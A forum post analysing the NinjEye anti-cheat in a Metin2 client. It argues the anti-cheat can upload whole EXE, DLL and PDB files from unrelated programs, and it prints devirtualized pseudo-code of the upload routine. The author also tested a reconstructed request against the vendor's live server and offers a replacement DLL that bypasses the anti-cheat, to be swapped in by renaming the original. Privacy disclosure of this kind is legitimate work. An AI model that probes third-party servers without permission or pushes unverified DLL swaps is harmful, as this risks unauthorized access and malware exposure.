[WARNING & OPTIMIZATION] NinjEye - File Stealer Removed & Build Optimized (8 MB → 10 KB)
[WARNING] NinjEye - What is this anti-cheat doing on your PC? (solution to remove that file stealer is in #7!)
Hi! in this topic im going to show you what i found in NinjEye used by Regalis / Mt2009Eu Metin2 client.
First of all this is not about standard process checks or detecting cheat software. Every anti-cheat can enumerate processes, thats nothing special.
The problem is what NinjEye can do with files belonging to those processes.
During analysis i found functionality which allows it to find selected applications, access their files and send actual file contents to server.
And by actual files i dont mean hashes...
1. How it works?
NinjEye enumerates running Windows processes and can select applications which are not even related to Metin2.
When application is selected it can identify its executable and access corresponding files.
And here it gets interesting because its not only EXE.
It can also try to access:
.exe
.dll
.pdb
So basically it can access executable files, libraries and debugging symbols belonging to selected applications.
Especially PDB files are interesting because they can contain internal function names, source file paths and other information about your software.
Imagine you are working on some private project, you have your own EXE + DLL + PDB files and you decide to play Metin2.
You probably dont expect game anti-cheat to have functionality which can access those files.
But this is exactly what i found.
2. File upload
Now the important part.
NinjEye doesn't only calculate hashes and send them to server.
The recovered functionality can upload actual file contents up to 25 MB.
So there is a pretty big difference between sending something like:
SHA256 = ...
and sending the whole executable to remote server.
In this case server can receive actual file data byte by byte.
The connection uses HTTPS, but there is no additional application-level encryption of file contents in this upload mechanism.
So after receiving the request the server has access to the uploaded data.
I really dont understand why anti-cheat for private Metin2 server needs to upload complete EXE / DLL / PDB files from applications unrelated to the game.
Checking if some file is known cheat software is one thing.
Uploading entire files is something completely different.
3. Server-sided configuration
Another thing i found is that file selection is not entirely hardcoded inside client.
NinjEye communicates with its API and receives configuration which affects this functionality.
There are file identifiers used to determine whether selected files should be uploaded.
So server can influence which files are selected.
I also found a case where missing or malformed file identifier can allow upload attempt to bypass the normal server-provided file-list check.
I dont know how they manage this configuration internally but its worth mentioning because this means that file selection can be influenced remotely.
4. Testing the upload endpoint
I also reconstructed the file upload request format and tested it against original NinjEye endpoint.
For the test i used standard Windows executable:
explorer.exe
Request was sent to:
api.ninjeye.net
Response:
HTTP 200
So the endpoint accepted the request.
This is not just some function which i found inside DLL and which might be completely unused.
I reproduced the request format and the original server responded.
Of course HTTP 200 doesn't mean that file was permanently stored or analysed. We cannot confirm what happens with uploaded files after receiving them.
But the endpoint itself accepted the reconstructed upload request.
5. Why this is a problem?
For me the biggest problem is pretty obvious.
You can have Visual Studio, IDA, your own projects, private applications and development files on your PC.
Some of them can contain source paths, internal function names, debugging information or other things which you dont want to share with random server owners.
And now imagine that an anti-cheat used by a private Metin2 server has functionality to access and upload those files.
Even if we ignore PDB files for a moment, uploading complete EXE and DLL files from unrelated applications is already questionable.
Why not just check hashes if the purpose is detecting known software?
Why does the server need the actual file?
And more importantly, are users even aware that this functionality exists?
6. Conclusions
So what i found:
NinjEye enumerates running Windows processes.
It can select applications unrelated to Metin2.
It can access their EXE files.
It can also access corresponding DLL and PDB files.
It can upload actual file contents up to 25 MB, not only hashes.
File selection can be influenced by server-sided configuration.
There is a case where missing / malformed file identifier can bypass normal file-list validation.
Original NinjEye upload endpoint accepted a reconstructed upload request.
I want to make one thing clear: im not saying that every player has all his files uploaded or that every application is automatically sent to server. Thats not what this analysis proves.
But the functionality is there and the original endpoint accepted the reconstructed request.
And honestly i think this is enough to raise some serious questions.
6. How to use version optimalized from 8MB to 10kb? download it from section download then RENAME ORIGINAL (IN GAME CLIENT) Ninjeye.dll to Ninjeye2.dll
VIRUSTOTAL LINK: https://www.virustotal.com/gui/file/342a6c13d0ab4452561cbac39dd86fcd562971b3c303f2bbb029344d3fc8c522
!!!DONT TRUST SOFTWARE JUST BECAUSE ITS CALLED AN ANTICHEAT.!!!
Especially when you have absolutely no idea what it is doing outside of your game process.
Analysis based on metin2client.exe and ninjeye.dll used by Regalis / Mt2009Eu client. Findings apply to the analysed version and should not automatically be generalized to other NinjEye releases. The endpoint test confirms HTTP-level acceptance of the reconstructed request, not permanent file storage or further processing.
THIS IS DEVIRTUALIZED CODE! (PSEUDO-CODE!)
void SendPathFile_2D5000(const WString24& path) {
WString24 host = Host_187100();
WString24 authorization = AuthorizationValue_REDACTED_2B5CD0();
WString24 endpoint(L"/file.php");
WString24 authorization_name(L"Authorization");
WString24 content_type_name(L"Content-Type");
String24 mime("application/octet-stream");
String24 name("file");
String24 filename("application");
InputStream184 stream;
ZeroObject_F70E0(&stream, 184);
ConstructInput_227250(&stream, path, 0x20, 0x40, 1);
if (!IsOpen_2E2AC0(stream)) {
void* previous = nullptr;
(void)Wow64DisableWow64FsRedirection(&previous);
RetryInput_2E30B0(&stream, &path, 0x20, 0x40);
(void)Wow64RevertWow64FsRedirection(previous);
}
SeekOffset_2EB9B0(stream, i64(0), 2);
FilePosition24 end_position = Tell_2EC730(stream);
i64 length = i64(PositionValue_229FE0(end_position));
if (length < 5 || length > 25000000) {
DestroyInput_2B1090(&stream);
filename.destroy();
name.destroy();
mime.destroy();
content_type_name.destroy();
authorization_name.destroy();
endpoint.destroy();
authorization.destroy();
host.destroy();
return;
}
SeekPosition_2EB810(stream, FilePosition24{0, 0, {}});
ByteVector12 bytes;
ConstructZeroByteVector_F66A0(&bytes, u32(PositionValue_229FE0(end_position)));
Read_2E9D80(stream, bytes.begin, i64(PositionValue_229FE0(end_position)));
String24 payload((const char*)bytes.begin, bytes.size());
Multipart48 multipart;
BuildMultipart_190AD0(&multipart, name, filename, mime, payload);
payload.destroy();
RequestClientView client;
ConstructClient_1793C0(&client, host, 443, 1);
client.resolve_ms = 2000;
client.connect_ms = 2000;
client.send_ms = 30000;
client.receive_ms = 10000;
client.total_ms = 120000;
client.redirect_mode = 1;
HeaderCollection12 headers = {};
{
HeaderPair48 pairs[2] = {
{authorization_name, authorization},
{content_type_name, multipart.content_type}
};
HeaderRange8 range;
HeaderRange_102DD0(&range, pairs, pairs + 2);
u8 empty_state;
ConstructHeaders_179190(
&headers,
range.word0,
range.word1,
HeaderCtorArgument_0F5160(&empty_state)
);
}
WideView8 path_view;
PathView_103070(&endpoint, &path_view);
Response96 response;
Post_2FD6C0(
&client,
&response,
path_view,
BodyData_0F7930(&multipart.body),
BodySize_0FD0B0(&multipart.body),
&headers
);
DestroyResponse_17A770(&response);
DestroyHeaders_17A640(&headers);
DestroyClient_17A710(&client);
DestroyMultipart_17A6C0(&multipart);
DestroyByteVector_F67A0(&bytes);
DestroyInput_2B1090(&stream);
filename.destroy();
name.destroy();
mime.destroy();
content_type_name.destroy();
authorization_name.destroy();
endpoint.destroy();
authorization.destroy();
host.destroy();
}nice project, this is what im looking for! :ator:
